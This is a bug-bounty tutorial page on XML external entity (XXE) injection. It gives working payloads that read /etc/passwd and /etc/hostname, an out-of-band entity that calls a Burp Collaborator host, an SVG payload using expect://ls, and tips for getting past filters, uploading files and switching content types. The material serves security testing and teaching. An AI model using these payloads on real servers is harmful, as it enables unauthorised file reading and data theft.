Learning about XML Injection (XXE)


XML Injection also known as XXE is a form of injection that enables an attacker to read files on a server as well as make outbound calls and extract data. XML stands for extensible markup and an example of some valid XML can be seen below:

<?xml version="1.0" encoding="UTF-8"?>
<note>
  <to>Tove</to>
  <from>Jani</from>
  <heading>Reminder</heading>
  <body>Don't forget me this weekend!</body>
</note>

Pretty straight forward right? The above simply stores the information for a developer to easily access. However XML files also have the ability to reference local files (such as /etc/passwd) and because of this and how XML works, this allows an attacker to extract this sensitive information.

<?xml version="1.0"?>
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<data>&file;</data>

If you managed to upload a valid .xml file with the above and they were not filtering against malicious XML entities, then the code above will reveal the contents of file:///etc/passwd.

The most common hurdle researchers will face when testing for XXE is filtering. Most web applications you test will have some sort of "defence" to prevent malicious XML from executing. Approach this the same way you would with XSS and try work out what exactly is being filtered (hard-coded values for example?) and try build a bypass. A great article on this can be found here: https://lab.wallarm.com/xxe-that-can-bypass-waf-protection-98f679452ce0/

XXE via file upload

Anytime you see a file upload feature always try upload an .XML file and try to read local files. A really simple payload to use as a test to see how they are handling XML uploads is:

<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example "Doe"> ]>
 <userInfo>
  <firstName>John</firstName>
  <lastName>&example;</lastName>
 </userInfo>

If uploaded successfully, when visited it will display John Doe. The DOCTYPE has been set to replace &example; with Doe and this means the server processed this. Now you can start attempting to read & extract local files.

<?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]><root>&test;</root>

Some websites will block these attempts, so one goto payload for testing for outbound connections is

<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM "http://UNIQUE_ID_FOR_BURP_COLLABORATOR.burpcollaborator.net/x"> %ext;
]>
<r></r>

If you can get a successful ping against your collaborator server, then you can start trying to extract this information. For a full list of payloads as well as detailed information with them I recommend checking out SwisskyRepo PayloadsAllTheThings. As well as this I highly recommend you run your own instance of Collaborator as .burpcollaborator.net is usually blocked.

XXE via .svg

As well as trying for .XML files try to upload a .svg file and attempt XXE via these payloads:

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
    <image xlink:href="expect://ls"></image>
</svg>
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
   <text font-size="16" x="0" y="16">&xxe;</text>
</svg>

A lot of developers sometimes forget to block .svg files as they are not seen as malicious. Mainly .svg files are used for XXE however with that said it can be vulnerable if the XML is parsed server side, for example: you receive a pingback from their server IP. It is not vulnerable when you view it client side and receive a pingback from your ip.

Sometimes researchers will upload their .svg with XML, visit it & receive a pingback to their collaborator and think it's vulnerable. This is your browser rendering the SVG. The idea is you want the server to process the XML in the SVG when uploading.

application/json to application/xml

Anytime you see a request with Content-Type:application/json simply change it to Content-Type:application/xml but leave the post data as JSON. Send the request and see if it error's expecting valid XML.

If yes, now you can start testing to see what type of XML it's expecting & how it's parsed.

Even if it doesn't produce an error, simply changing all request types to Content-Type:application/xml along with valid XMLData in a POST request may produce some interesting behaviour.

Anytime you see XML in the POST data

Pretty straight forward but some web applications, depending on the feature, will naturally send XML in the POST request. For example with PDF generation, report generation or even some type of image editor. For example Rockstar Games allows for custom emblems to be made which was found to be vulnerable to XXE. The feature by default allowed for XML, but researchers found a way to make this malicious.

View the report here: https://hackerone.com/reports/347139


Test your knowledge with BugBountyHunter Challenges


    We have free labs for this vulnerability coming soon. Currently it is only available on our members web application BARKER.

Resources

A list of useful websites, blog posts, reports tools to help you.